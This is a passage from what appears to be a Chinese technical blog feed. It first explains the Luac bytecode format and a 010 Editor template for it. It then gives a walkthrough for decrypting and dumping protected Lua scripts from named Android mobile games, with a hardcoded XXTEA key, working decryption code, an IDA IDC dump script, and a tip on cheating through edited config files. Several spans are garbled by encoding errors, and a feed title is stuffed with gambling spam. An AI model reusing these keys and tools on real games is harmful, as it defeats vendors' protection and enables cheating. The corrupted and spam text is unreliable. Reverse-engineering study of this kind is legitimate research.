第一个字段signature在lua.h头文件中有定义,它是LUA_SIGNATURE,取值为“\033Lua",其中,\033表示按键<esc>。LUA_SIGNATURE作为Luac文件开头的4字节,它是Luac的Magic Number,用来标识它为Luac字节码文件。Magic Number在各种二进制文件格式中比较常见,通过是特定文件的前几个字节,用来表示一种特定的文件格式。

version字段表示Luac文件的格式版本,它的值对应于Lua编译的版本,对于5.2版本的Lua生成的Luac文件,它的值为0x52。

format字段是文件的格式标识,取值0代表official,表示它是官方定义的文件格式。这个字段的值不为0,表示这是一份经过修改的Luac文件格式,可能无法被官方的Lua虚拟机正常加载。

endian表示Luac使用的字节序。现在主流的计算机的字节序主要有小端序LittleEndian与大端序BigEndian。这个字段的取值为1的话表示为LittleEndian,为0则表示使用BigEndian。

size_int字段表示int类型所占的字节大小。size_size_t字段表示size_t类型所占的字节大小。这两个字段的存在,是为了兼容各种PC机与移动设备的处理器,以及它们的32位与64位版本,因为在特定的处理器上,这两个数据类型所占的字节大小是不同的。

size_Instruction字段表示Luac字节码的代码块中,一条指令的大小。目前,指令Instruction所占用的大小为固定的4字节,也就表示Luac使用等长的指令格式,这显然为存储与反编译Luac指令带来了便利。

size_lua_Number字段标识lua_Number类型的数据大小。lua_Number表示Lua中的Number类型,它可以存放整型与浮点型。在Lua代码中,它使用LUA_NUMBER表示,它的大小取值大小取决于Lua中使用的浮点数据类型与大小,对于单精度浮点来说,LUA_NUMBER被定义为float,即32位大小,对于双精度浮点来说,它被定义为double,表示64位长度。目前,在macOS系统上编译的Lua,它的大小为64位长度。

lua_num_valid字段通常为0,用来确定lua_Number类型能否正常的工作。

luac_tail字段用来捕捉转换错误的数据。在Lua中它使用LUAC_TAIL表示,这是一段固定的字符串内容:"\x19\x93\r\n\x1a\n"。

在文件头后面,紧接着的是函数体部分。一个Luac文件中,位于最上面的是一个顶层的函数体,函数体中可以包含多个子函数,子函数可以是嵌套函数、也可以是闭包,它们由常量、代码指令、Upvalue、行号、局部变量等信息组成。

在Lua中,函数体使用Proto结构体表示,它的声明如下:

typedef struct {
    //header
    ProtoHeader header;

    //code
    Code code;

    // constants
    Constants constants;

    // functions
    Protos protos;

    // upvalues
    Upvaldescs upvaldescs;

    // string
    SourceName src_name;

    // lines
    Lines lines;
    
    // locals
    LocVars loc_vars;
    
    // upvalue names
    UpValueNames names;
} Proto;

ProtoHeader是Proto的头部分。它的定义如下:

typedef struct {
    uint32 linedefined;
    uint32 lastlinedefined;
    uchar numparams;
    uchar is_vararg;
    uchar maxstacksize;
} ProtoHeader;

ProtoHeader在Lua中使用lua_Debug表示,lua_Debug的作用是调试时提供函数的行号,函数与变量名等信息,只是它部分字段的信息在生成Luac字节码时,最终没有写入Luac文件中。linedefined与lastlinedefined是定义的两个行信息。numparams表示函数有几个参数。is_vararg表示参数是否为可变参数列表,例如这个函数声明:

function f1(a1, a2, ...)
    ......
end

这点与C语言类似,三个点“...”表示这是一个可变参数的函数。f1()在这里的numparams为2,并且is_vararg的值为1。

maxstacksize字段指明当前函数的Lua栈大小。值为2的幂。

在ProtoHeader下面是函数的代码部分,这里使用Code表示。Code存放了一条条的Luac机器指令,每条指令是一个32位的整型大小。Code定义如下:

struct Code {
    uint32 sizecode;
    uint32 inst[];
} code;

sizecode字段标识了接下来的指令条数。inst则存放了当前函数所有的指令,在Lua中,指令采用Instruction表示,它的定义如下:

#define LUAI_UINT32	unsigned int
typedef LUAI_UINT32 lu_int32;
typedef lu_int32 Instruction;

当LUAI_BITSINT定义的长度大于等于32时,LUAI_UINT32被定义为unsigned int,否则定义为unsigned long,本质上,也就是要求lu_int32的长度为32位。

接下来是Constants,它存放了函数中所有的常量信息。定义如下:

typedef struct {
    uint32 sizek;
    Constant constant[];
} Constants;

sizek字段标识了接下来Constant的个数。constant则是Constant常量列表,存放了一个个的常量信息。的定义如下:

typedef struct {
    LUA_DATATYPE const_type;
    TValue val;
} Constant;

LUA_DATATYPE是Lua支持的各种数据类型结构。如LUA_TBOOLEAN表示bool类型,使用lua_Val表示;LUA_TNUMBER表示数值型,它可以是整型,使用lua_Integer表示,也可以是浮点型,使用lua_Number表示;LUA_TSTRING表示字符串。这些所有的类型信息使用const_type字段表示,大小为1字节。

TValue用于存放具体的数据内容。它的定义如下:

typedef struct {
    union Value {
        //GCObject *gc;     /* collectable objects */
        //void *p;          /* light userdata */
        lua_Val val;        /* booleans */
        //lua_CFunction f;  /* light C functions */
        lua_Integer i;      /* integer numbers */
        lua_Number n;       /* float numbers */
    } value_;
} TValue;

对于LUA_TBOOLEAN,它存放的值可以通过Lua中提供的宏bvalue来计算它的值。 对于LUA_TNUMBER,它存放的可能是整型,也可能是浮点型,可以直接通过nvalue宏自动进行类型判断,然后获取它格式化后的字符串值。对于Lua的5.3版本,对nvalue宏进行了改进,可以使用ivalue宏获取它的整型值,使用fltvalue宏来获取它的浮点值。 对于LUA_TSTRING,它存放的是字符串信息??梢允褂胷awtsvalue宏获取它的字符串信息。而写入Luac之后,这里的信息实则是64位的值存放了字符串的大小,并且紧跟着后面是字符串的内容。

接下来是Protos,它表示当前函数包含的子函数信息。定义如下:

typedef struct(string level) {
    uint32 sizep;
    Proto proto[];
} Protos

sizep字段表示当前函数包含的子函数的数目。所谓子函数,指的是一个函数中包含的嵌套函数与闭包。如下面的代码:

function Create(n) 
    local function foo1() 
        print(n) 
    end
    local function foo2() 
        n = n + 10 
    end
    return foo1,foo2
end

Create()函数包含了foo1()与foo2()两个子函数,因此,这里sizep的值为2。proto表示子函数信息,它与父函数使用一样的结构体信息。因此,可见Lua的函数部分使用了一种树式的数据结构进行数据存储。

Upvaldescs与UpValueNames共同描述了Lua中的UpValue信息。当函数中包含子函数或团包,并且访问了函数的参数或局部变量时,就会产生UpValue。如上面的Create()函数,foo1()与foo2()两个子函数都访问了参数n,因此,这里会产生一个UpValue,它的名称为“n”。

Upvaldesc的定义如下:

typedef struct {
    uchar instack;
    uchar idx;
} Upvaldesc;

instack字段表示UpValue是否在栈上创建的,是的话取值为1,反之为0。idx字段表示UpValue在UpValue数据列表中的索引,取值从0开始。

UpValueNames存放了当前函数中所有UpValue的名称信息,它的定义如下:

typedef struct {
    uint32 size_upvalue_names;
    UpValueName upvalue_name[];
} UpValueNames;

size_upvalue_names字段表示UpValueName条目的数目,每一条UpValueName存放了一个UpValue的名称,它的定义如下:

typedef struct {
    uint64 name_size;
    char var_str[];
} UpValueName;

name_size字段是符号串的长度,var_str为具体的字符串内容。

SourceName存放了当前Luac编译前存放的完整文件名路径。它的定义如下:

typedef struct {
    uint64 src_string_size;
    char str[];
} SourceName

SourceName的定义与UpValueName一样,两个字段分别存放了字符串的长度与内容。

Lines存放了所有的行号信息。它的定义如下:

typedef struct {
    uint32 sizelineinfo;
    uint32 line[];
} Lines;

sizelineinfo字段表示当前函数所有的行总数目。line字段存放了具体的行号。

LocVars存放了当前函数所有的局部变量信息,它的定义如下:

typedef struct {
    uint32 sizelocvars;
    LocVar local_var[];
} LocVars;

sizelocvars字段表示局部变量的个数。local_var字段是一个个的局部变量,它的类型LocVar定义如下:

typedef struct {
    uint64 varname_size;
    char varname[];
    uint32 startpc;
    uint32 endpc;
} LocVar;

varname_size字段是变量的名称长度大小。varname字段存放了变量的名称字符串内容。startpc与endpc是两个指针指,存储了局部变量的作用域信息,即它的起始与结束的地方。

到此,一个Luac的文件格式就讲完了。

010 Editor模板语法

为了方便分析与修改Luac二进制文件,有时候使用010 Editor编辑器配合它的文件模板,可以达到很直观的查看与修改效果,但010 Editor官方并没有提供Luac的格式模板,因此,决定自己动手编写一个模板文件。

010 Editor支持模板与脚本功能,两者使用的语法与C语言几乎一样,只是有着细微的差别与限制,我们看看如何编写010 Editor模板文件。

点击010 Editor菜单Templates->New Template,新建一个模板,会自动生成如下内容:

//------------------------------------------------
//--- 010 Editor v8.0 Binary Template
//
//      File: 
//   Authors: 
//   Version: 
//   Purpose: 
//  Category: 
// File Mask: 
//  ID Bytes: 
//   History: 
//------------------------------------------------

File是文件名,010 Editor使用.bt作为模柏树的后缀,这里取名为luac.bt即可。

Authors是作者信息。

Version是当前模板的版本,如果将最终的模板文件上传到010 Editor的官方模板仓库,010 Editor会以此字段来判断模板文件的版本信息。

Purpose是编写本模板的意图,内容上可以留空。

Category是模板的分类,010 Editor中自带了一些内置的分类,这里选择Programming分类。

File Mask是文件扩展名掩码,表示当前模板支持处理哪种文件类型的数据,支持通配符,如果支持多种文件格式,可以将所有的文件扩展名写在一行,中间使用逗号分开,这里设置它的值为“*.luac, *.lua”。

ID Bytes是文件开头的Magic Number,用来通过文件的开头来判断是否为支持处理的文件,这里的取值为“1B 4c 75 61”。

History中可以留空,也可以编写模板的更新历史信息。

最终,Luac.bt的开头内容如下:

//------------------------------------------------
//--- 010 Editor v8.0 Binary Template
//
//      File: luac.bt
//   Authors: fei_cong(346345565@qq.com)
//   Version: 1.0
//   Purpose: 
//  Category: Programming
// File Mask: *.luac, *.lua
//  ID Bytes: 1B 4c 75 61
//   History: 
//      1.0   fei_cong: Initial version, support lua 5.2.
//
// License: This file is released into the public domain. People may 
//          use it for any purpose, commercial or otherwise. 
//------------------------------------------------

010 Editor模板与C语言一样,支持C语言的宏、数据类型、变量、函数、代码语句、控制流程等,还支持调用常见的C语言函数。

数据类型上,支持的非常丰富,官方列出的支持的数据类型如下:

- 8-Bit Signed Integer - char, byte, CHAR, BYTE

- 8-Bit Unsigned Integer - uchar, ubyte, UCHAR, UBYTE

- 16-Bit Signed Integer - short, int16, SHORT, INT16

- 16-Bit Unsigned Integer - ushort, uint16, USHORT, UINT16, WORD

- 32-Bit Signed Integer - int, int32, long, INT, INT32, LONG

- 32-Bit Unsigned Integer - uint, uint32, ulong, UINT, UINT32, ULONG, DWORD

- 64-Bit Signed Integer - int64, quad, QUAD, INT64, __int64

- 64-Bit Unsigned Integer - uint64, uquad, UQUAD, UINT64, QWORD, __uint64

- 32-Bit Floating Point Number - float, FLOAT 

- 64-Bit Floating Point Number - double, DOUBLE 

- 16-Bit Floating Point Number - hfloat, HFLOAT 

- Date Types - DOSDATE, DOSTIME, FILETIME, OLETIME, time_t (for more information on date types see Using the Inspector)

在编写模板时,同一数据类型中列出的类型,使用上是一样,如下面的代码片断:

local int a;
local int32 a;
local long a;

表示的都是一个32位的整型变量,这三种声明方式表达的含义是相同的。声明变量时,需要在前面跟上local关键字,如果没有跟上local,则表明是在声明一个占位的数据字段。所谓占位的数据字段,指的010 Editor在解析模板中的变量时,会对占位的数据部分使用指定的数据类型进行解析,如下面的代码:

typedef struct {
    GlobalHeader header;
    Proto proto;
} Luac;

Luac luac;

010 Editor在解析这段代码时,会按照Luac中所有的占位数据字段信息解析当前的二进制文件。GlobalHeader与Proto的声明也中如此,没有加上local的数据字段,都会被010 Editor解析并显示。

除了支持基本的C语言格式结构体struct外,010 Editor模板语法还加入了一些特性,比如字段注释与格式、结构体压缩与处理函数??慈缦碌慕峁固逍畔ⅲ?/span>

typedef struct {
    uint64 varname_size <format=hex>;
    char varname[varname_size];
    uint32 startpc <format=hex, comment="first point where variable is active">;
    uint32 endpc <format=hex, comment="first point where variable is dead">;
} LocVar <read = LocVarRead, optimize = false>;

这是按照前面介绍的LocVar结构体信息,按照010 Editor模板语法处理过后的效果。为字段后添加format可以指定它的输出格式为十六进制hex,默认是10进制;为字段后添加comment可以指定它的注释信息,这两个字段可以同时存在,在中间加入一个逗号即可;可以为结构体指定read来指定它的类型读取函数,也可以指定write来指定它的类型写入函数,read与write有着自己的格式,如下所示:

string LocVarRead(LocVar &val) {
    return val.varname;
}

所有的read与write返回值必须为string,参数必须为要处理的结构体类型的引用。注意:010 Editor模板语法不支持指针,但支持引用类型,但引用类型不能作为变量与函数的返回值,只能作为参数进行传递,在编写模板代码时需要注意。

除了以上的基础类型外,010 Editor模板还支持字符串类型string,这在C语言中是不存在的!它与char[]代表的含义是相同的,而且它支持的操作比较多,如以下字符串相加等操作:

local string str = "world";
local string str2 = "hello " + str + "!\n";

010 Editor模板中的宏有限制,并不能解析那些需要展开后替换符号的宏,只支持那些能够直接计算的宏。如下面的BITRK与ISK宏:

#define SIZE_B		9
#define BITRK		(1 << (SIZE_B - 1))
#define ISK(x)		((x) & BITRK)

前者可以直接解析并计算出来,010 Editor模板就支持它,而对于ISK宏,并不能在展开时计算出它的值,因此,010 Editor模板并不支持它。

010 Editor模板支持enum枚举,与C语言中的枚举的差别是,在定义枚举时可以指定它的数据类型,这样的好处是可以在010 Editor模板中声明占位的枚举数据。如下所示是Luac.bt中用到的LUA_DATATYPE类型:

enum <uchar> LUA_DATATYPE {
    LUA_TNIL		=     0,
    LUA_TBOOLEAN	=	  1,
    LUA_TLIGHTUSERDATA =  2,
    LUA_TNUMBER		=     3,
    LUA_TSTRING		=     4,
    LUA_TTABLE		=     5,
    LUA_TFUNCTION	=     6,
    LUA_TUSERDATA	=     7,
    LUA_TTHREAD		=     8,
    LUA_NUMTAGS	     =    9,
};

010 Editor模板中支持调用常见的C语言库函数,如strlen()、strcat()、print()、sprintf()、strstr(),不同的是,函数名上有些差别,这些可调用的函数在010 Editor模板中首字母是大写的,因此,在调用时,它们分别是Strlen()、Strcat()、Print()、Sprintf()、Strstr()。更多支持的字符串操作的函数可以查看010 Editor的帮助文档“String Functions”小节,除了“String Functions”外,还有“I/O Functions”、“Math Functions”、“Tool Functions”、“Interface Functions”等函数可供模板代码使用。

接下来看下代码结构部分,010 Editor模板支持C语言中的for/while/dowhile等循环语句,这些语句可以用来组成到010 Editor模板的函数与代码块中。一点细微的差别是010 Editor模板的返回类型只能是上面介绍过的基础类型,不支持自定义类型与数组结构,这就给实际编写代码带来了一些麻烦,遇到这种函数场景时,就需要考虑更改代码的结构了。

编写luac.bt文件格式模板

了解了010 Editor模板语法后,就可以开始编写Luac.bt模板文件了。编写模板前,需要找好一个Luac文件,然后边写边测试,生成一个Luac文件很简单,可以编写好hello.lua后,执行下面的命令生成hello.luac:

$ luac -o ./hello.luac ./hello.lua

生成好Luac文件后,就是编写一个个结构体进行测试,这是纯体力活了。luadec提供了一个ChunkSpy52.lua,可以使用它打印Luac的文件格式内容,可以参考它的输出进行Luac.bt的编写工作,实际上我也是这么做的。

首先是GlobalHeader,它的定义可以这样写:

typedef struct {
    uint32 signature <format=hex>;   //".lua"
    uchar version <format=hex>;
    uchar format <comment = "format (0=official)">;
    uchar endian <comment = "1 == LittleEndian; 0 == BigEndian">;
    uchar size_int <comment = "sizeof(int)">;
    uchar size_size_t <comment = "sizeof(size_t)">;
    uchar size_Instruction <comment = "sizeof(Instruction)">;
    uchar size_lua_Number <comment = "sizeof(lua_Number)">;
    uchar lua_num_valid <comment = "Determine lua_Number whether it works or not, It's usually 0">;
    if (version == 0x52) {
        uchar luac_tail[0x6] <format=hex, comment = "data to catch conversion errors">;
    }
} GlobalHeader;

这种定义的方式与前面介绍的LocVar一样,具体就不展开讨论了。下面主要讨论编写过程中遇到的问题与难点。

首先是输出与ChunkSpy52.lua一样的function level,也就是函数的嵌套级别,定义结构体时可以传递参数,这一点是C语言不具备的,但这个功能非常实用,可以用来传递定义结构时的信息,如这里的function level就用到了该特性。这是Protos的定义:

typedef struct(string level) {
    uint32 sizep <format=hex>;
    local uint32 sz = sizep;
    local uint32 i = 0;
    local string s_level;
    while (sz-- > 0) {
        SPrintf(s_level, "%s_%d", level, i++);
        Proto proto(s_level);
    };
} Protos <optimize=false>;

为结构体加上一个string类型的level参数,初始时传值“0”,然后往下传递时,为传递的值累加一,这样就做到了function level的输出。

然后是Constant常量信息的获取,由于TValue支持多种数据的类型,因此在处理上需要分别进行处理,这里参考了luadec的实现,不过在细节上还是比较麻烦。luadec使用DecompileConstant()方法实现,它的代码片断如下: ··· char* DecompileConstant(const Proto* f, int i) { const TValue* o = &f->k[i]; switch (ttype(o)) { case LUA_TBOOLEAN: return strdup(bvalue(o)?"true":"false"); case LUA_TNIL: return strdup("nil"); #if LUA_VERSION_NUM == 501 || LUA_VERSION_NUM == 502 case LUA_TNUMBER: { char* ret = (char*)calloc(128, sizeof(char)); sprintf(ret, LUA_NUMBER_FMT, nvalue(o)); return ret; } case LUA_TSTRING: return DecompileString(o); default: return strdup("Unknown_Type_Error"); } } ···

bvalue与nvalue是Lua提供的两个宏,这在编写模板时不能直接使用,需要自己实现,由于宏的嵌套较多,实际测试时编写了C语言代码展开它的实现,如nvalue展开后的实现为:

((((((o))->tt_) == ((3 | (1 << 4)))) ? ((lua_Number)(((((o)->value_).i)))) : (((o)->value_).n))));

于是编写替换代码number2str函数,实现如下:

string number2str(TValue &o) {
    local string ret;
    local string fmt;
    if (get_inst_sz() == 4) {
        fmt = "(=%.7g)";
    } else if (get_inst_sz() == 8) {
        fmt = "(=%.14g)";
    } else {
        Warning("error inst size.\n");
    }
    local int tt = o.value_.val.tt_;
    //Printf("tt:%x\n", tt);
    local lua_Integer i = o.value_.i;
    local lua_Number n = o.value_.n;
    SPrintf(ret, "%.14g", ((tt == (3 | (1 << 4))) ? i : n));

    return ret;
}

然后为Constant编写read方法ConstantRead,代码片断如下:

string ConstantRead(Constant& constant) {
    local string str;
    switch (constant.const_type) {
        case LUA_TBOOLEAN:
        {
            SPrintf(str, "%s", constant.bool_val ? "true" : "false");
            return str;
        }
        case LUA_TNIL:
        {
            return "nil";
        }
        case LUA_TNUMBER:
        {
            return number2str(constant.num_val);
        }
        case LUA_TSTRING:
        {
            return "(=\"" + constant.str_val + "\")";
        }
        ......
        default:
            return "";
    }
}

DecompileConstant中调用的DecompileString方法,原实现比较麻烦,处理了非打印字符,这里简单的获取解析的字符串内容,然后直接返回了。

最后,所有的代码编写完成后,效果如图所示: 

luac_fmt.jpg

luac.bt的完整实现可以在这里找到:https://github.com/feicong/lua_re。

原文:https://github.com/feicong/lua_re/blob/master/lua/lua_re.md

]]>
//www.wpr29.cn/2833.html/feed 0
浅析Android手游lua脚本的加密与解密 - 港妹免费六合图库▁九龙六合图库2013▁管家婆六合心水论坛▁六合图库 护民▁万家福六合心水论坛 //www.wpr29.cn/2808.html //www.wpr29.cn/2808.html#respond Tue, 22 Aug 2017 03:58:17 +0000 //www.wpr29.cn/?p=2808 0.前言

     这篇文章是本人在学习android手游安全时总结的一篇关于lua的文章,不足之处欢迎指正,也欢迎大牛前来交流。本文目录如下:

目录
0. 前言
1. lua脚本在手游中的现状
2. lua、luac、luaJIT三种文件的关系
3. lua脚本的?;?
     3.1 普通的对称加密,在加载脚本之前解密
     3.2 将lua脚本编译成luaJIT字节码并且加密打包
     3.3 修改lua虚拟机中opcode的顺序
4. 获取lua代码的一般方法
     4.1 静态分析so解密方法
     4.2 动态调试:ida + idc + dump
     4.3 hook so
     4.4 分析lua虚拟机的opcode的顺序
5. 三个游戏的lua脚本解密过程
     5.1 54捕鱼
     5.2 捕鱼达人4
     5.3 梦幻西游手游
6. 总结
参考文章

主要用到的工具和环境:

  1.  win7系统一枚

  2.  quick-cocos2d-x的开发环境(弄一个开发环境方便学习,而且大部分lua手游都是用的cocos2d-x框架,还有一个好处,可以查看源码关键函数中的特征字符串,然后在IDA定位到关键函数,非常方便)

  3.  IDA6.8(分析so文件+动态调试so)

  4.  vs2015(编写解密代码)这里建议用vs2013来编译运行cocos2d-x,vs2015太多坑要填了.....

  5.  AndroidKiller 1.3.1(反编译apk,其中apktool.exe是最新版)

  6.  luadec51(反编译luac)

  7.  luajit-decomp(反编译luaJIT)

等等...

1.lua脚本在手游中的现状

     略。

2.lua、luac、luaJIT三种文件的关系

     在学习lua手游过程中,本人遇到的lua文件大部分是这3种。其中lua是明文代码,直接用记事本就能打开,luac是lua编译后的字节码,文件头为0x1B 0x4C 0x75 0x61 0x51,lua虚拟机能够直接解析lua和luac脚本文件,而luaJIT是另一个lua的实现版本(不是原作者写的),JIT是指Just-In-Time(即时解析运行),luaJIT相比lua和luac更加高效,文件头是0x1B 0x4C 0x4A。

   luac:

1.png

    luajit:

2.png

3.lua脚本的?;?/span>

一般有安全意识的游戏厂商都不会直接把lua源码脚本打包到APK中发布,所以一般对lua脚本的?;び邢旅?种:

3.1 普通的对称加密,在加载脚本之前解密

  这种情况是指打包在APK中的lua代码是加密过的,程序在加载lua脚本时解密(关键函数luaL_loadbuffer ),解密后就能够获取lua源码。如果解密后获取的是luac字节码的话,也可以通过反编译得到lua源码,反编译主要用的工具有unluac和luadec51,后面会具体分析。

3.2 将lua脚本编译成luaJIT字节码并且加密打包

     因为反编译的结果并不容易查看,所以这种情况能够较好的?;ua源码。这个情况主要是先解密后反编译,反编译主要是通过luajit-decomp项目,它能够将luajit字节码反编译成伪lua代码。

3.3 修改lua虚拟机中opcode的顺序

     这种情况主要是修改lua虚拟机源码,再通过修改过的虚拟机将lua脚本编译成luac字节码,达到?;さ哪康?。这种情况如果直接用上面的反编译工具是不能将luac反编译的,需要在程序中分析出相对应的opcode,然后修改lua项目的opcode的顺序并重新编译生成反编译工具,就能反编译了,后面会具体分析。     

     一般上面的情况都会交叉遇到。

4.获取lua源码的一般方法

这里主要介绍4种方法,都会在第5节中用实例说明。

4.1 静态分析so解密方法

这种方法需要把解密的过程全部分析出来,比较费时费力,主要是通过ida定位到luaL_loadbuffer函数,然后往上回溯,分析出解密的过程。

4.2 动态调试:ida + idc + dump

这里主要通过ida动态调试so文件,然后是定位到luaL_loadbuffer地址,游戏会在启动的时候通过调用luaL_loadbuffer函数加载必要的lua脚本,通过在luaL_loadbuffer下断点 ,断下后就可以运行idc脚本将lua代码导出(程序调用一次luaL_loadbuffer加载一个lua脚本,不写idc脚本的话需要手动导N多遍.....)。

4.3 hook so

跟4.2原理一样,就是通过hook函数luaL_loadbuffer地址,将代码保存,相比4.2的好处是有些lua脚本需要在玩游戏的过程中才加载,如果用了4.2的方法,游戏过程中 中断一次就需要手动运行一次idc脚本,而且往往每次只加载一个lua文件,如果是hook的话,就不需要那么麻烦,直接玩一遍游戏,全部lua脚本就已经保存好了。

4.4 分析lua虚拟机的opcode的顺序

这里主要是opcode的顺序被修改了,需要用ida定位到虚拟机执行luac字节码的地方,然后对比原来lua虚拟机的执行过程,获取修改后的opcode顺序,最后还原lua脚本。

5.三个游戏的lua脚本解密实例

好了,下面用3个例子来说明上面的情况。

5.1 54捕鱼

     首先用AndroidKiller 加载,然后查看lib目录下的so文件,发现libcocos2dlua.so文件,基本可以确定是lua脚本编写的了。这里有个小技巧,当有很多so文件的时候,一般最大的文件是我们的目标(文件大是因为集成了lua引擎)。既然有lua引擎,肯定有lua脚本了,接着找lua脚本。资源文件和lua脚本文件都是在assets目录下。发现游戏的资源文件和配置文件都是明文,这里直接修改游戏的配置文件就可以作弊(比如修改升级炮台所需的金币和钻石,就可以达到快速升级炮台的目的),然后并没有发现类似lua脚本的文件。

     顺手解压了一下res目录下的liveupdate_precompiled.zip,发现解压失败,看来是加密了(看名字就知道是更新游戏的代码)这里说明一下,一般遇到xxxx_precompiled.zip的这种文件,都是quick-cocos2d-x框架(quick简单来说就是对lua的拓展实现),在quick-cocos2d-x框架下可以用compile_scripts命令将lua文件加密打包成xxxx_precompiled.zip,游戏运行时再解密加载。注意,这种方式打包的lua脚本一般都会被编译成luaJIT,加载的关键函数是loadChunksFromZIP,可以在IDA中直接搜索该函数,如果找不到可以搜索字符串luaLoadChunksFromZIP来定位到函数

     OK,了解了原理接下来开始动手分析,将libcocos2dlua.so拖到IDA中加载,函数中直接搜索loadChunksFromZIP,定位后F5。

3.png

 一直向上回溯(交叉引用 ),来到下图,发现解密的密钥和签名,其中xiaoxian为密钥,XXFISH为签名

4.png

 进去函数里面看看,其实会发现调用了XXTea算法,这里我们也可以直接分析loadChunksFromZIP函数的源码(所以配置一个cocos2d的开发环境还是非常有必要的)。查看源码里的lua_loadChunksFromZIP函数的原型:

int CCLuaStack::lua_loadChunksFromZIP(lua_State *L)
{
    if (lua_gettop(L) < 1)
    {     // 这里可以发现用字符串也可以定位到目标函数
        CCLOG("lua_loadChunksFromZIP() - invalid arguments");
        return 0;
    }
...
        if (isXXTEA)
        {
            // decrypt XXTEA
            // 这里调用了解密函数
            xxtea_long len = 0;
            buffer = xxtea_decrypt(zipFileData + stack->m_xxteaSignLen,
                                   (xxtea_long)size - (xxtea_long)stack->m_xxteaSignLen,
                                   (unsigned char*)stack->m_xxteaKey,
                                   (xxtea_long)stack->m_xxteaKeyLen,
                                   &len);
            delete []zipFileData;
            zipFileData = NULL;
            zip = CCZipFile::createWithBuffer(buffer, len);
        }
...
}

 接下来直接写解密函数(在cocos2d-x项目里面写的解密函数,很多工具直接可以调用)

void decryptZipFile_54BY(string strZipFilePath)
{
        CCFileUtils *utils = CCFileUtils::sharedFileUtils();
        unsigned long lZipFileSize = 0;
        unsigned char *szBuffer = NULL;
        unsigned char *zipFileData = utils->getFileData(strZipFilePath.c_str(), "rb", &lZipFileSize);
        xxtea_long xxBufferLen = 0;
        szBuffer = xxtea_decrypt(zipFileData + 6,           //6为签名XXFISH的长度
               (xxtea_long)lZipFileSize - (xxtea_long)6,    //减去签名的长度
               (unsigned char*)"xiaoxian",                  //xiaoxian为密钥
               (xxtea_long)8,                               //密钥的长度
               &xxBufferLen);
        //获取zip里面的所有文件
        CCZipFile *zipFile = CCZipFile::createWithBuffer(szBuffer, xxBufferLen);
        int count = 0;
        string strFileName = zipFile->getFirstFilename();
        while (strFileName.length())
        {
               cout << "filename:" << strFileName << endl;
               unsigned long lFileBufferSize = 0;
               unsigned char *szFileBuffer = zipFile->getFileData(strFileName.c_str(), &lFileBufferSize);
               if (lFileBufferSize)
               {
                       ++count;
                       ofstream ffout(strFileName, ios::binary);
                       ffout.write((char *)szFileBuffer, sizeof(char) * (lFileBufferSize));
                       ffout.close();
                       delete[] szFileBuffer;
               }
               strFileName = zipFile->getNextFilename();
        }
        delete[] zipFileData;
}

解密后的文件如下:

5.png

这几个都是更新游戏的代码,是luajit的文件,所以接下来需要反编译。IDA中查看下lua版本和luajit版本,字符串分别搜索lua+空格和luajit+空格:

  lua版本为5.1

6.png

 luajit版本为2.1.0

7.png

  反编译本人用到的是luajit-decomp,这里需要注意,luajit-decomp默认的lua版本为5.1,luajit版本为2.0.2,我们需要下载对应lua和luajit的版本,编译后替换luajit-decomp下的lua51.dll、luajit.exe、jit文件夹。反编译时需要注意的文件和文件夹:

8.png

这里需要下载版本为2.1.0-beta2的luajit,并且编译生成文件后,复制LuaJIT-2.1.0-beta2\src路径下的lua51.dll、luajit.exe文件和jit文件夹覆盖到luajit-decomp目录中。luajit-decomp用的是autolt3语言,原脚本默认是只反编译当前目录下的test.lua文件,所以需要改一下decoder.au3文件的代码。修改后的代码另存为jitdecomp.au3文件,编译后为jitdecomp.exe。并且增加了data目录,目录下有3个文件夹,分别为:

luajit:待反编译的luajit文件

asm:反汇编后的中间结果

out:反编译后的结果

将解密后的文件放到luajit文件夹,运行 jitdecomp.exe,反编译的结果在out目录下,结果如下:

9.png

这个反编译工具写得并不好,反编译后的文件阅读起来挺困难的,而且反编译的lua格式有问题,所以不能用lua编辑器格式化代码。

5.2 捕鱼达人4

这个游戏主要是用ida动态调试so文件,然后用idc脚本把lua文件全部dump下来的方法。首先用AndroidKiller加载apk,在lib目录下有3个文件夹,不同的手机cpu型号对应不同的文件夹 。本人的手机加载的目标so文件在armeabi-v7a文件下:

10.png

 接着,ida加载libcocos2dlua.so文件,定位到函数luaL_loadbuffer,可以在函数中直接搜索,也可以字符串搜索"[LUA ERROR]"来定位到函数中,函数分析如下:

LUALIB_API int luaL_loadbuffer (lua_State *L, const char *buff, size_t size,const char *name)

所以在ARM汇编中,参数R0为lua_State指针,参数R1为脚本内容,R2为脚本大小,R3为脚本的名称,写一段IDC脚本dump数据即可:

#include <idc.idc>
static main()
{
    auto code, bp_addrese,fp,strPath,strFileName;
    bp_addrese = 0x7573022C;                                                // luaL_loadbuffer函数地址 ,静态分析获取的函数地址+so文件的地址得到
    AddBpt(bp_addrese);                                                     // 下断点,也可以手动下断
    while(1)
    {
        code = GetDebuggerEvent(WFNE_SUSP|WFNE_CONT, 15);                   // 等待断点发生,等待时间为15秒
        if ( code <= 0 )
        {
            Warning("错误代码:%d",code);
            return 0;
        }
        Message ("地址:%a, 事件id:%x\n", GetEventEa(), GetEventId());      // 断点发生,打印消息
        strFileName = GetString(GetRegValue("R3"),-1,0);                    // 获取文件路径名
        strFileName = substr(strFileName,strrstr(strFileName,"/")+1,-1);    // 获取最后一个‘/’后面的名字(文件的名字)去掉路径
        strPath = sprintf("c:\\lua\\%s",strFileName);                       // 保存lua的本地路径
        fp = fopen(strPath,"wb");
        savefile(fp,0,GetRegValue("R1"),GetRegValue("R2"));
        fclose(fp);
        Message("保存文件成功: %s\n",strPath);
    }
}
//字符串查找函数,从后面向前查找,返回第一次查找的字符串下标
static strrstr(str,substr1)
{
    auto i,index;
    index = -1;
    while (1)
    {
        i = strstr(str,substr1);
        if (-1 == i) return index;
        str = substr(str,i+1,-1);
        index = index+i+1;
    };
}

  ida动态调试so文件网上有很多文章,这里就不详细说明了。通过idc脚本获取的部分数据如下:

11.png

5.3.梦幻西游手游

AndroidKiller反编译apk,查看lib下存在libcocos2dlua.so,基本上确定是lua写的:

12.png

 在assets\HashRes目录下,存在很多被加密的文件,这里存放的是lua脚本和游戏的其他资源文件

13.png

 接着找lua脚本的解密过程,用ida加载libcocos2dlua.so文件,搜索luaL_loadbuffer函数,定位到关键位置,这里就是解密的过程了:

14.png

 分析解密lua文件过程如下:

122.png

这里需要实现Lrc4解密的相关函数,还有Lzma解压函数需要自己实现,其他几个都是cocos2d平台自带的函数,直接调用就可以了。上面的流程图实现的函数如下:

bool decryptLua_Mhxy(string strFilePath, string strSaveDir)
{
        bool bResult = false;
        char *szBuffer = NULL;
        int nBufferSize = 0;
